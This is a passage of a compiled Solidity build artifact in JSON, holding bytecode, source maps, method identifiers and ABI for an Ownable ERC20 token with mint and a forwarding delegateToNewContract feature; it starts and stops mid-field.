45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103a28286868403610617565b6006545f906001600160a01b03166104f4576104ed8383610ba7565b905061034d565b6006546040517f9cd1a1210000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301526024820185905233604483015290911690639cd1a121906064016020604051808303815f875af1158015610563573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ed9190610d2c565b61058f61076e565b6001600160a01b03811661060b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104bb565b61061481610b49565b50565b6001600160a01b0383166106925760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b03821661070e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b031633146104125760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104bb565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461085257818110156108455760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104bb565b6108528484848403610617565b50505050565b6001600160a01b0383166108d45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b0382166109505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b0383165f90815260208190526040902054818110156109de5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290610a14908490610d0d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a6091815260200190565b60405180910390a3610852565b6001600160a01b038216610ac35760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016104bb565b8060025f828254610ad49190610d0d565b90915550506001600160a01b0382165f9081526020819052604081208054839290610b00908490610d0d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600580546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f33610347818585610858565b5f602080835283518060208501525f5b81811015610be057858101830151858201604001528201610bc4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610614575f80fd5b5f8060408385031215610c25575f80fd5b8235610c3081610c00565b946020939093013593505050565b5f60208284031215610c4e575f80fd5b8135610c5981610c00565b9392505050565b5f805f60608486031215610c72575f80fd5b8335610c7d81610c00565b92506020840135610c8d81610c00565b929592945050506040919091013590565b5f8060408385031215610caf575f80fd5b8235610cba81610c00565b91506020830135610cca81610c00565b809150509250929050565b600181811c90821680610ce957607f821691505b602082108103610d0757634e487b7160e01b5f52602260045260245ffd5b50919050565b8082018082111561034d57634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610d3c575f80fd5b81518015158114610c59575f80fdfea264697066735822122091f156bcbbd2a567f95d290a69dc896582a8d0d550079d51e1028da3fc20535b64736f6c63430008180033","sourceMap":"1954:596:71:-:0;;;;;;;;;;;;;1978:113:30;;;;;;;;;;;;;-1:-1:-1;;;1978:113:30;;;;;;;;;;;;;;;;-1:-1:-1;;;1978:113:30;;;2052:5;2044;:13;;;;;;:::i;:::-;-1:-1:-1;2067:7:30;:17;2077:7;2067;:17;:::i;:::-;;1978:113;;936:32:23;955:12;:10;;;:12;;:::i;:::-;936:18;:32::i;:::-;1954:596:71;;640:96:34;719:10;;640:96::o;2433:187:23:-;2525:6;;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;;2573:40;;2525:6;;;2541:17;2525:6;;2573:40;;2506:16;;2573:40;2496:124;2433:187;:::o;14:127:155:-;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:380;225:1;221:12;;;;268;;;289:61;;343:4;335:6;331:17;321:27;;289:61;396:2;388:6;385:14;365:18;362:38;359:161;;442:10;437:3;433:20;430:1;423:31;477:4;474:1;467:15;505:4;502:1;495:15;359:161;;146:380;;;:::o;657:518::-;759:2;754:3;751:11;748:421;;;795:5;792:1;785:16;839:4;836:1;826:18;909:2;897:10;893:19;890:1;886:27;880:4;876:38;945:4;933:10;930:20;927:47;;;-1:-1:-1;968:4:155;927:47;1023:2;1018:3;1014:12;1011:1;1007:20;1001:4;997:31;987:41;;1078:81;1096:2;1089:5;1086:13;1078:81;;;1155:1;1141:16;;1122:1;1111:13;1078:81;;;1082:3;;748:421;657:518;;;:::o;1351:1345::-;1471:10;;-1:-1:-1;;;;;1493:30:155;;1490:56;;;1526:18;;:::i;:::-;1555:97;1645:6;1605:38;1637:4;1631:11;1605:38;:::i;:::-;1599:4;1555:97;:::i;:::-;1707:4;;1764:2;1753:14;;1781:1;1776:663;;;;2483:1;2500:6;2497:89;;;-1:-1:-1;2552:19:155;;;2546:26;2497:89;-1:-1:-1;;1308:1:155;1304:11;;;1300:24;1296:29;1286:40;1332:1;1328:11;;;1283:57;2599:81;;1746:944;;1776:663;604:1;597:14;;;641:4;628:18;;-1:-1:-1;;1812:20:155;;;1930:236;1944:7;1941:1;1938:14;1930:236;;;2033:19;;;2027:26;2012:42;;2125:27;;;;2093:1;2081:14;;;;1960:19;;1930:236;;;1934:3;2194:6;2185:7;2182:19;2179:201;;;2255:19;;;2249:26;-1:-1:-1;;2338:1:155;2334:14;;;2350:3;2330:24;2326:37;2322:42;2307:58;2292:74;;2179:201;;;2426:1;2417:6;2414:1;2410:14;2406:22;2400:4;2393:36;1746:944;;;;;1351:1345;;:::o;:::-;1954:596:71;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610115575f3560e01c806370a08231116100ad578063a457c2d71161007d578063c89e436111610063578063c89e43611461024c578063dd62ed3e1461025f578063f2fde38b14610297575f80fd5b8063a457c2d714610226578063a9059cbb14610239575f80fd5b806370a08231146101c9578063715018a6146101f15780638da5cb5b146101f957806395d89b411461021e575f80fd5b806323b872dd116100e857806323b872dd14610181578063313ce5671461019457806339509351146101a357806340c10f19146101b6575f80fd5b806306fdde0314610119578063095ea7b31461013757806318160ddd1461015a5780631d2d84001461016c575b5f80fd5b6101216102aa565b60405161012e9190610bb4565b60405180910390f35b61014a610145366004610c14565b61033a565b604051901515815260200161012e565b6002545b60405190815260200161012e565b61017f61017a366004610c3e565b610353565b005b61014a61018f366004610c60565b61038a565b6040516012815260200161012e565b61014a6101b1366004610c14565b6103ad565b61017f6101c4366004610c14565b6103eb565b61015e6101d7366004610c3e565b6001600160a01b03165f9081526020819052604090205490565b61017f610401565b6005546001600160a01b03165b6040516001600160a01b03909116815260200161012e565b610121610414565b61014a610234366004610c14565b610423565b61014a610247366004610c14565b6104d1565b600654610206906001600160a01b031681565b61015e61026d366004610c9e565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61017f6102a5366004610c3e565b610587565b6060600380546102b990610cd5565b80601f01602080910402602001604051908101604052809291908181526020018280546102e590610cd5565b80156103305780601f1061030757610100808354040283529160200191610330565b820191905f5260205f20905b81548152906001019060200180831161031357829003601f168201915b5050505050905090565b5f33610347818585610617565b60019150505b92915050565b61035b61076e565b6006805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b5f336103978582856107c8565b6103a2858585610858565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061034790829086906103e6908790610d0d565b610617565b6103f361076e565b6103fd8282610a6d565b5050565b61040961076e565b6104125f610b49565b565b6060600480546102b990610cd5565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156104c45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103a28286868403610617565b6006545f906001600160a01b03166104f4576104ed8383610ba7565b905061034d565b6006546040517f9cd1a1210000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301526024820185905233604483015290911690639cd1a121906064016020604051808303815f875af1158015610563573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ed9190610d2c565b61058f61076e565b6001600160a01b03811661060b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104bb565b61061481610b49565b50565b6001600160a01b0383166106925760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b03821661070e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b031633146104125760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104bb565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461085257818110156108455760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104bb565b6108528484848403610617565b50505050565b6001600160a01b0383166108d45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b0382166109505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b0383165f90815260208190526040902054818110156109de5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290610a14908490610d0d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a6091815260200190565b60405180910390a3610852565b6001600160a01b038216610ac35760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016104bb565b8060025f828254610ad49190610d0d565b90915550506001600160a01b0382165f9081526020819052604081208054839290610b00908490610d0d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600580546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f33610347818585610858565b5f602080835283518060208501525f5b81811015610be057858101830151858201604001528201610bc4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610614575f80fd5b5f8060408385031215610c25575f80fd5b8235610c3081610c00565b946020939093013593505050565b5f60208284031215610c4e575f80fd5b8135610c5981610c00565b9392505050565b5f805f60608486031215610c72575f80fd5b8335610c7d81610c00565b92506020840135610c8d81610c00565b929592945050506040919091013590565b5f8060408385031215610caf575f80fd5b8235610cba81610c00565b91506020830135610cca81610c00565b809150509250929050565b600181811c90821680610ce957607f821691505b602082108103610d0757634e487b7160e01b5f52602260045260245ffd5b50919050565b8082018082111561034d57634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610d3c575f80fd5b81518015158114610c59575f80fdfea264697066735822122091f156bcbbd2a567f95d290a69dc896582a8d0d550079d51e1028da3fc20535b64736f6c63430008180033","sourceMap":"1954:596:71:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2156:98:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4433:197;;;;;;:::i;:::-;;:::i;:::-;;;1211:14:155;;1204:22;1186:41;;1174:2;1159:18;4433:197:30;1046:187:155;3244:106:30;3331:12;;3244:106;;;1384:25:155;;;1372:2;1357:18;3244:106:30;1238:177:155;2156:114:71;;;;;;:::i;:::-;;:::i;:::-;;5192:286:30;;;;;;:::i;:::-;;:::i;3093:91::-;;;3175:2;2298:36:155;;2286:2;2271:18;3093:91:30;2156:184:155;5873:234:30;;;;;;:::i;:::-;;:::i;2057:93:71:-;;;;;;:::i;:::-;;:::i;3408:125:30:-;;;;;;:::i;:::-;-1:-1:-1;;;;;3508:18:30;3482:7;3508:18;;;;;;;;;;;;3408:125;1831:101:23;;;:::i;1201:85::-;1273:6;;-1:-1:-1;;;;;1273:6:23;1201:85;;;-1:-1:-1;;;;;2761:55:155;;;2743:74;;2731:2;2716:18;1201:85:23;2597:226:155;2367:102:30;;;:::i;6594:427::-;;;;;;:::i;:::-;;:::i;2276:272:71:-;;;;;;:::i;:::-;;:::i;2021:29::-;;;;;-1:-1:-1;;;;;2021:29:71;;;3976:149:30;;;;;;:::i;:::-;-1:-1:-1;;;;;4091:18:30;;;4065:7;4091:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3976:149;2081:198:23;;;;;;:::i;:::-;;:::i;2156:98:30:-;2210:13;2242:5;2235:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2156:98;:::o;4433:197::-;4516:4;719:10:34;4570:32:30;719:10:34;4586:7:30;4595:6;4570:8;:32::i;:::-;4619:4;4612:11;;;4433:197;;;;;:::o;2156:114:71:-;1094:13:23;:11;:13::i;:::-;2241:8:71::1;:22:::0;;-1:-1:-1;;2241:22:71::1;-1:-1:-1::0;;;;;2241:22:71;;;::::1;::::0;;;::::1;::::0;;2156:114::o;5192:286:30:-;5319:4;719:10:34;5375:38:30;5391:4;719:10:34;5406:6:30;5375:15;:38::i;:::-;5423:27;5433:4;5439:2;5443:6;5423:9;:27::i;:::-;-1:-1:-1;5467:4:30;;5192:286;-1:-1:-1;;;;5192:286:30:o;5873:234::-;719:10:34;5961:4:30;4091:18;;;:11;:18;;;;;;;;-1:-1:-1;;;;;4091:27:30;;;;;;;;;;5961:4;;719:10:34;6015:64:30;;719:10:34;;4091:27:30;;6040:38;;6068:10;;6040:38;:::i;:::-;6015:8;:64::i;2057:93:71:-;1094:13:23;:11;:13::i;:::-;2126:17:71::1;2132:2;2136:6;2126:5;:17::i;:::-;2057:93:::0;;:::o;1831:101:23:-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;2367:102:30:-;2423:13;2455:7;2448:14;;;;;:::i;6594:427::-;719:10:34;6687:4:30;4091:18;;;:11;:18;;;;;;;;-1:-1:-1;;;;;4091:27:30;;;;;;;;;;6687:4;;719:10:34;6831:15:30;6811:16;:35;;6803:85;;;;-1:-1:-1;;;6803:85:30;;4403:2:155;6803:85:30;;;4385:21:155;4442:2;4422:18;;;4415:30;4481:34;4461:18;;;4454:62;4552:7;4532:18;;;4525:35;4577:19;;6803:85:30;;;;;;;;;6922:60;6931:5;6938:7;6966:15;6947:16;:34;6922:8;:60::i;2276:272:71:-;2374:8;;2346:4;;-1:-1:-1;;;;;2374:8:71;2362:180;;2420:25;2435:2;2439:5;2420:14;:25::i;:::-;2413:32;;;;2362:180;2483:8;;:48;;;;;-1:-1:-1;;;;;4888:15:155;;;2483:48:71;;;4870:34:155;4920:18;;;4913:34;;;2520:10:71;4963:18:155;;;4956:43;2483:8:71;;;;:25;;4782:18:155;;2483:48:71;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;5494:2:155;2161:73:23::1;::::0;::::1;5476:21:155::0;5533:2;5513:18;;;5506:30;5572:34;5552:18;;;5545:62;5643:8;5623:18;;;5616:36;5669:19;;2161:73:23::1;5292:402:155::0;2161:73:23::1;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;10110:370:30:-;-1:-1:-1;;;;;10241:19:30;;10233:68;;;;-1:-1:-1;;;10233:68:30;;5901:2:155;10233:68:30;;;5883:21:155;5940:2;5920:18;;;5913:30;5979:34;5959:18;;;5952:62;6050:6;6030:18;;;6023:34;6074:19;;10233:68:30;5699:400:155;10233:68:30;-1:-1:-1;;;;;10319:21:30;;10311:68;;;;-1:-1:-1;;;10311:68:30;;6306:2:155;10311:68:30;;;6288:21:155;6345:2;6325:18;;;6318:30;6384:34;6364:18;;;6357:62;6455:4;6435:18;;;6428:32;6477:19;;10311:68:30;6104:398:155;10311:68:30;-1:-1:-1;;;;;10390:18:30;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10441:32;;1384:25:155;;;10441:32:30;;1357:18:155;10441:32:30;;;;;;;10110:370;;;:::o;1359:130:23:-;1273:6;;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;6709:2:155;1414:68:23;;;6691:21:155;;;6728:18;;;6721:30;6787:34;6767:18;;;6760:62;6839:18;;1414:68:23;6507:356:155;10761:441:30;-1:-1:-1;;;;;4091:18:30;;;10891:24;4091:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;10957:37:30;;10953:243;;11038:6;11018:16;:26;;11010:68;;;;-1:-1:-1;;;11010:68:30;;7070:2:155;11010:68:30;;;7052:21:155;7109:2;7089:18;;;7082:30;7148:31;7128:18;;;7121:59;7197:18;;11010:68:30;6868:353:155;11010:68:30;11120:51;11129:5;11136:7;11164:6;11145:16;:25;11120:8;:51::i;:::-;10881:321;10761:441;;;:::o;7475:651::-;-1:-1:-1;;;;;7601:18:30;;7593:68;;;;-1:-1:-1;;;7593:68:30;;7428:2:155;7593:68:30;;;7410:21:155;7467:2;7447:18;;;7440:30;7506:34;7486:18;;;7479:62;7577:7;7557:18;;;7550:35;7602:19;;7593:68:30;7226:401:155;7593:68:30;-1:-1:-1;;;;;7679:16:30;;7671:64;;;;-1:-1:-1;;;7671:64:30;;7834:2:155;7671:64:30;;;7816:21:155;7873:2;7853:18;;;7846:30;7912:34;7892:18;;;7885:62;7983:5;7963:18;;;7956:33;8006:19;;7671:64:30;7632:399:155;7671:64:30;-1:-1:-1;;;;;7817:15:30;;7795:19;7817:15;;;;;;;;;;;7850:21;;;;7842:72;;;;-1:-1:-1;;;7842:72:30;;8238:2:155;7842:72:30;;;8220:21:155;8277:2;8257:18;;;8250:30;8316:34;8296:18;;;8289:62;8387:8;8367:18;;;8360:36;8413:19;;7842:72:30;8036:402:155;7842:72:30;-1:-1:-1;;;;;7948:15:30;;;:9;:15;;;;;;;;;;;7966:20;;;7948:38;;8006:13;;;;;;;;:23;;7980:6;;7948:9;8006:23;;7980:6;;8006:23;:::i;:::-;;;;;;;;8060:2;-1:-1:-1;;;;;8045:26:30;8054:4;-1:-1:-1;;;;;8045:26:30;;8064:6;8045:26;;;;1384:25:155;;1372:2;1357:18;;1238:177;8045:26:30;;;;;;;;8082:37;11786:121;8402:389;-1:-1:-1;;;;;8485:21:30;;8477:65;;;;-1:-1:-1;;;8477:65:30;;8645:2:155;8477:65:30;;;8627:21:155;8684:2;8664:18;;;8657:30;8723:33;8703:18;;;8696:61;8774:18;;8477:65:30;8443:355:155;8477:65:30;8629:6;8613:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8645:18:30;;:9;:18;;;;;;;;;;:28;;8667:6;;8645:9;:28;;8667:6;;8645:28;:::i;:::-;;;;-1:-1:-1;;8688:37:30;;1384:25:155;;;-1:-1:-1;;;;;8688:37:30;;;8705:1;;8688:37;;1372:2:155;1357:18;8688:37:30;;;;;;;2057:93:71;;:::o;2433:187:23:-;2525:6;;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;2541:17:23;;;;;;;2573:40;;2525:6;;;2541:17;2525:6;;2573:40;;2506:16;;2573:40;2496:124;2433:187;:::o;3729:189:30:-;3808:4;719:10:34;3862:28:30;719:10:34;3879:2:30;3883:6;3862:9;:28::i;14:548:155:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:154::-;-1:-1:-1;;;;;646:5:155;642:54;635:5;632:65;622:93;;711:1;708;701:12;726:315;794:6;802;855:2;843:9;834:7;830:23;826:32;823:52;;;871:1;868;861:12;823:52;910:9;897:23;929:31;954:5;929:31;:::i;:::-;979:5;1031:2;1016:18;;;;1003:32;;-1:-1:-1;;;726:315:155:o;1420:270::-;1502:6;1555:2;1543:9;1534:7;1530:23;1526:32;1523:52;;;1571:1;1568;1561:12;1523:52;1610:9;1597:23;1629:31;1654:5;1629:31;:::i;:::-;1679:5;1420:270;-1:-1:-1;;;1420:270:155:o;1695:456::-;1772:6;1780;1788;1841:2;1829:9;1820:7;1816:23;1812:32;1809:52;;;1857:1;1854;1847:12;1809:52;1896:9;1883:23;1915:31;1940:5;1915:31;:::i;:::-;1965:5;-1:-1:-1;2022:2:155;2007:18;;1994:32;2035:33;1994:32;2035:33;:::i;:::-;1695:456;;2087:7;;-1:-1:-1;;;2141:2:155;2126:18;;;;2113:32;;1695:456::o;3082:388::-;3150:6;3158;3211:2;3199:9;3190:7;3186:23;3182:32;3179:52;;;3227:1;3224;3217:12;3179:52;3266:9;3253:23;3285:31;3310:5;3285:31;:::i;:::-;3335:5;-1:-1:-1;3392:2:155;3377:18;;3364:32;3405:33;3364:32;3405:33;:::i;:::-;3457:7;3447:17;;;3082:388;;;;;:::o;3475:437::-;3554:1;3550:12;;;;3597;;;3618:61;;3672:4;3664:6;3660:17;3650:27;;3618:61;3725:2;3717:6;3714:14;3694:18;3691:38;3688:218;;-1:-1:-1;;;3759:1:155;3752:88;3863:4;3860:1;3853:15;3891:4;3888:1;3881:15;3688:218;;3475:437;;;:::o;3917:279::-;3982:9;;;4003:10;;;4000:190;;;-1:-1:-1;;;4043:1:155;4036:88;4147:4;4144:1;4137:15;4175:4;4172:1;4165:15;5010:277;5077:6;5130:2;5118:9;5109:7;5105:23;5101:32;5098:52;;;5146:1;5143;5136:12;5098:52;5178:9;5172:16;5231:5;5224:13;5217:21;5210:5;5207:32;5197:60;;5253:1;5250;5243:12","linkReferences":{}},"methodIdentifiers":{"allowance(address,address)":"dd62ed3e","approve(address,uint256)":"095ea7b3","balanceOf(address)":"70a08231","decimals()":"313ce567","decreaseAllowance(address,uint256)":"a457c2d7","delegate()":"c89e4361","delegateToNewContract(address)":"1d2d8400","increaseAllowance(address,uint256)":"39509351","mint(address,uint256)":"40c10f19","name()":"06fdde03","owner()":"8da5cb5b","renounceOwnership()":"715018a6","symbol()":"95d89b41","totalSupply()":"18160ddd","transfer(address,uint256)":"a9059cbb","transferFrom(address,address,uint256)":"23b872dd","transferOwnership(address)":"f2fde38b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"subtractedValue\",\"type\":\"uint256\"}],\"name\":\"decreaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"delegate\",\"outputs\":[{\"internalType\":\"contract DelegateERC20\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract DelegateERC20\",\"name\":\"newContract\",\"type\":\"address\"}],\"name\":\"delegateToNewContract\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"addedValue\",\"type\":\"uint256\"}],\"name\":\"increaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"mint\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"o